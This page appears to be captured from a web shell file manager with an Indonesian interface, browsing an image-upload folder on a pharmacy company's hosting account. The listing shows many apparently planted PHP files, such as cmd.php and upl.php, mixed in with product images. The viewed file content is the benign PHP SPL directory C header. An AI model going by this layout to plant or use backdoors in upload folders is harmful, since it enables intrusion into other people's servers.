/home/u150549505/domains/aiocdpharmaltd.com/public_html/product-cpanel/assets/product-db-image/

Unggah File:


Nama Folder Baru:

123.php  Hapus  Lihat  Edit
Product_0.png  Hapus  Lihat  Edit
Product_1.png  Hapus  Lihat  Edit
Product_10.png  Hapus  Lihat  Edit
Product_101.png  Hapus  Lihat  Edit
Product_102.jpg  Hapus  Lihat  Edit
Product_102.png  Hapus  Lihat  Edit
Product_103.png  Hapus  Lihat  Edit
Product_104.png  Hapus  Lihat  Edit
Product_105.html  Hapus  Lihat  Edit
Product_11.png  Hapus  Lihat  Edit
Product_111.html  Hapus  Lihat  Edit
Product_113.html  Hapus  Lihat  Edit
Product_114.php  Hapus  Lihat  Edit
Product_117.php  Hapus  Lihat  Edit
Product_12.png  Hapus  Lihat  Edit
Product_13.png  Hapus  Lihat  Edit
Product_134.php5  Hapus  Lihat  Edit
Product_135.php  Hapus  Lihat  Edit
Product_136.php5  Hapus  Lihat  Edit
Product_137.php  Hapus  Lihat  Edit
Product_138.php  Hapus  Lihat  Edit
Product_139.php  Hapus  Lihat  Edit
Product_14.png  Hapus  Lihat  Edit
Product_140.php  Hapus  Lihat  Edit
Product_141.php  Hapus  Lihat  Edit
Product_142.php  Hapus  Lihat  Edit
Product_143.php  Hapus  Lihat  Edit
Product_144.php  Hapus  Lihat  Edit
Product_145.php  Hapus  Lihat  Edit
Product_146.php  Hapus  Lihat  Edit
Product_147.php  Hapus  Lihat  Edit
Product_148.php  Hapus  Lihat  Edit
Product_149.php  Hapus  Lihat  Edit
Product_15.png  Hapus  Lihat  Edit
Product_150.php  Hapus  Lihat  Edit
Product_151.php  Hapus  Lihat  Edit
Product_152.php  Hapus  Lihat  Edit
Product_153.php  Hapus  Lihat  Edit
Product_154.php  Hapus  Lihat  Edit
Product_155.php  Hapus  Lihat  Edit
Product_156.php  Hapus  Lihat  Edit
Product_157.php  Hapus  Lihat  Edit
Product_158.php  Hapus  Lihat  Edit
Product_159.php  Hapus  Lihat  Edit
Product_16.png  Hapus  Lihat  Edit
Product_17.jpg  Hapus  Lihat  Edit
Product_17.png  Hapus  Lihat  Edit
Product_18.png  Hapus  Lihat  Edit
Product_19.png  Hapus  Lihat  Edit
Product_2.png  Hapus  Lihat  Edit
Product_20.png  Hapus  Lihat  Edit
Product_21.png  Hapus  Lihat  Edit
Product_22.png  Hapus  Lihat  Edit
Product_23.png  Hapus  Lihat  Edit
Product_24.png  Hapus  Lihat  Edit
Product_25.png  Hapus  Lihat  Edit
Product_26.png  Hapus  Lihat  Edit
Product_27.png  Hapus  Lihat  Edit
Product_28.png  Hapus  Lihat  Edit
Product_29.png  Hapus  Lihat  Edit
Product_3.png  Hapus  Lihat  Edit
Product_30.png  Hapus  Lihat  Edit
Product_31.png  Hapus  Lihat  Edit
Product_32.png  Hapus  Lihat  Edit
Product_33.png  Hapus  Lihat  Edit
Product_34.png  Hapus  Lihat  Edit
Product_35.png  Hapus  Lihat  Edit
Product_36.png  Hapus  Lihat  Edit
Product_37.png  Hapus  Lihat  Edit
Product_38.png  Hapus  Lihat  Edit
Product_39.png  Hapus  Lihat  Edit
Product_4.png  Hapus  Lihat  Edit
Product_40.png  Hapus  Lihat  Edit
Product_41.png  Hapus  Lihat  Edit
Product_42.png  Hapus  Lihat  Edit
Product_43.png  Hapus  Lihat  Edit
Product_44.png  Hapus  Lihat  Edit
Product_45.png  Hapus  Lihat  Edit
Product_46.png  Hapus  Lihat  Edit
Product_47.png  Hapus  Lihat  Edit
Product_48.png  Hapus  Lihat  Edit
Product_49.png  Hapus  Lihat  Edit
Product_5.png  Hapus  Lihat  Edit
Product_50.png  Hapus  Lihat  Edit
Product_51.png  Hapus  Lihat  Edit
Product_52.png  Hapus  Lihat  Edit
Product_53.png  Hapus  Lihat  Edit
Product_54.png  Hapus  Lihat  Edit
Product_55.png  Hapus  Lihat  Edit
Product_56.png  Hapus  Lihat  Edit
Product_57.png  Hapus  Lihat  Edit
Product_58.png  Hapus  Lihat  Edit
Product_59.png  Hapus  Lihat  Edit
Product_6.png  Hapus  Lihat  Edit
Product_60.png  Hapus  Lihat  Edit
Product_61.png  Hapus  Lihat  Edit
Product_62.png  Hapus  Lihat  Edit
Product_63.png  Hapus  Lihat  Edit
Product_64.png  Hapus  Lihat  Edit
Product_65.png  Hapus  Lihat  Edit
Product_66.png  Hapus  Lihat  Edit
Product_67.png  Hapus  Lihat  Edit
Product_68.png  Hapus  Lihat  Edit
Product_69.png  Hapus  Lihat  Edit
Product_7.png  Hapus  Lihat  Edit
Product_70.png  Hapus  Lihat  Edit
Product_71.png  Hapus  Lihat  Edit
Product_72.png  Hapus  Lihat  Edit
Product_73.png  Hapus  Lihat  Edit
Product_74.png  Hapus  Lihat  Edit
Product_75.png  Hapus  Lihat  Edit
Product_76.png  Hapus  Lihat  Edit
Product_77.png  Hapus  Lihat  Edit
Product_78.png  Hapus  Lihat  Edit
Product_79.png  Hapus  Lihat  Edit
Product_8.png  Hapus  Lihat  Edit
Product_80.png  Hapus  Lihat  Edit
Product_81.png  Hapus  Lihat  Edit
Product_82.png  Hapus  Lihat  Edit
Product_83.png  Hapus  Lihat  Edit
Product_84.png  Hapus  Lihat  Edit
Product_85.png  Hapus  Lihat  Edit
Product_86.png  Hapus  Lihat  Edit
Product_87.png  Hapus  Lihat  Edit
Product_88.png  Hapus  Lihat  Edit
Product_89.png  Hapus  Lihat  Edit
Product_9.png  Hapus  Lihat  Edit
Product_90.png  Hapus  Lihat  Edit
Product_91.png  Hapus  Lihat  Edit
Product_92.png  Hapus  Lihat  Edit
Product_96.png  Hapus  Lihat  Edit
Product_97.png  Hapus  Lihat  Edit
Product_98.png  Hapus  Lihat  Edit
Product_99.png  Hapus  Lihat  Edit
a.php  Hapus  Lihat  Edit
al.php  Hapus  Lihat  Edit
cmd.php  Hapus  Lihat  Edit
g.php  Hapus  Lihat  Edit
up.php  Hapus  Lihat  Edit
upl.php  Hapus  Lihat  Edit
wp-ver.php  Hapus  Lihat  Edit

Isi File:

/*
+----------------------------------------------------------------------+
| PHP Version 7 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2018 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Authors: Marcus Boerger |
+----------------------------------------------------------------------+
*/

/* $Id$ */

#ifndef SPL_DIRECTORY_H
#define SPL_DIRECTORY_H

#include "php.h"
#include "php_spl.h"

extern PHPAPI zend_class_entry *spl_ce_SplFileInfo;
extern PHPAPI zend_class_entry *spl_ce_DirectoryIterator;
extern PHPAPI zend_class_entry *spl_ce_FilesystemIterator;
extern PHPAPI zend_class_entry *spl_ce_RecursiveDirectoryIterator;
extern PHPAPI zend_class_entry *spl_ce_GlobIterator;
extern PHPAPI zend_class_entry *spl_ce_SplFileObject;
extern PHPAPI zend_class_entry *spl_ce_SplTempFileObject;

PHP_MINIT_FUNCTION(spl_directory);

typedef enum {
SPL_FS_INFO, /* must be 0 */
SPL_FS_DIR,
SPL_FS_FILE
} SPL_FS_OBJ_TYPE;

typedef struct _spl_filesystem_object spl_filesystem_object;

typedef void (*spl_foreign_dtor_t)(spl_filesystem_object *object);
typedef void (*spl_foreign_clone_t)(spl_filesystem_object *src, spl_filesystem_object *dst);

PHPAPI char* spl_filesystem_object_get_path(spl_filesystem_object *intern, size_t *len);

typedef struct _spl_other_handler {
spl_foreign_dtor_t dtor;
spl_foreign_clone_t clone;
} spl_other_handler;

/* define an overloaded iterator structure */
typedef struct {
zend_object_iterator intern;
zval current;
void *object;
} spl_filesystem_iterator;

struct _spl_filesystem_object {
void *oth;
spl_other_handler *oth_handler;
char *_path;
size_t _path_len;
char *orig_path;
char *file_name;
size_t file_name_len;
SPL_FS_OBJ_TYPE type;
zend_long flags;
zend_class_entry *file_class;
zend_class_entry *info_class;
union {
struct {
php_stream *dirp;
php_stream_dirent entry;
char *sub_path;
size_t sub_path_len;
int index;
int is_recursive;
zend_function *func_rewind;
zend_function *func_next;
zend_function *func_valid;
} dir;
struct {
php_stream *stream;
php_stream_context *context;
zval *zcontext;
char *open_mode;
size_t open_mode_len;
zval current_zval;
char *current_line;
size_t current_line_len;
size_t max_line_len;
zend_long current_line_num;
zval zresource;
zend_function *func_getCurr;
char delimiter;
char enclosure;
char escape;
} file;
} u;
zend_object std;
};

static inline spl_filesystem_object *spl_filesystem_from_obj(zend_object *obj) /* {{{ */ {
return (spl_filesystem_object*)((char*)(obj) - XtOffsetOf(spl_filesystem_object, std));
}
/* }}} */

#define Z_SPLFILESYSTEM_P(zv) spl_filesystem_from_obj(Z_OBJ_P((zv)))

static inline spl_filesystem_iterator* spl_filesystem_object_to_iterator(spl_filesystem_object *obj)
{
spl_filesystem_iterator *it;

it = ecalloc(1, sizeof(spl_filesystem_iterator));
it->object = (void *)obj;
zend_iterator_init(&it->intern);
return it;
}

static inline spl_filesystem_object* spl_filesystem_iterator_to_object(spl_filesystem_iterator *it)
{
return (spl_filesystem_object*)it->object;
}

#define SPL_FILE_OBJECT_DROP_NEW_LINE 0x00000001 /* drop new lines */
#define SPL_FILE_OBJECT_READ_AHEAD 0x00000002 /* read on rewind/next */
#define SPL_FILE_OBJECT_SKIP_EMPTY 0x00000004 /* skip empty lines */
#define SPL_FILE_OBJECT_READ_CSV 0x00000008 /* read via fgetcsv */
#define SPL_FILE_OBJECT_MASK 0x0000000F /* read via fgetcsv */

#define SPL_FILE_DIR_CURRENT_AS_FILEINFO 0x00000000 /* make RecursiveDirectoryTree::current() return SplFileInfo */
#define SPL_FILE_DIR_CURRENT_AS_SELF 0x00000010 /* make RecursiveDirectoryTree::current() return getSelf() */
#define SPL_FILE_DIR_CURRENT_AS_PATHNAME 0x00000020 /* make RecursiveDirectoryTree::current() return getPathname() */
#define SPL_FILE_DIR_CURRENT_MODE_MASK 0x000000F0 /* mask RecursiveDirectoryTree::current() */
#define SPL_FILE_DIR_CURRENT(intern,mode) ((intern->flags&SPL_FILE_DIR_CURRENT_MODE_MASK)==mode)

#define SPL_FILE_DIR_KEY_AS_PATHNAME 0x00000000 /* make RecursiveDirectoryTree::key() return getPathname() */
#define SPL_FILE_DIR_KEY_AS_FILENAME 0x00000100 /* make RecursiveDirectoryTree::key() return getFilename() */
#define SPL_FILE_DIR_FOLLOW_SYMLINKS 0x00000200 /* make RecursiveDirectoryTree::hasChildren() follow symlinks */
#define SPL_FILE_DIR_KEY_MODE_MASK 0x00000F00 /* mask RecursiveDirectoryTree::key() */
#define SPL_FILE_DIR_KEY(intern,mode) ((intern->flags&SPL_FILE_DIR_KEY_MODE_MASK)==mode)

#define SPL_FILE_DIR_SKIPDOTS 0x00001000 /* Tells whether it should skip dots or not */
#define SPL_FILE_DIR_UNIXPATHS 0x00002000 /* Whether to unixify path separators */
#define SPL_FILE_DIR_OTHERS_MASK 0x00003000 /* mask used for get/setFlags */

#endif /* SPL_DIRECTORY_H */

/*
* Local Variables:
* c-basic-offset: 4
* tab-width: 4
* End:
* vim600: fdm=marker
* vim: noet sw=4 ts=4
*/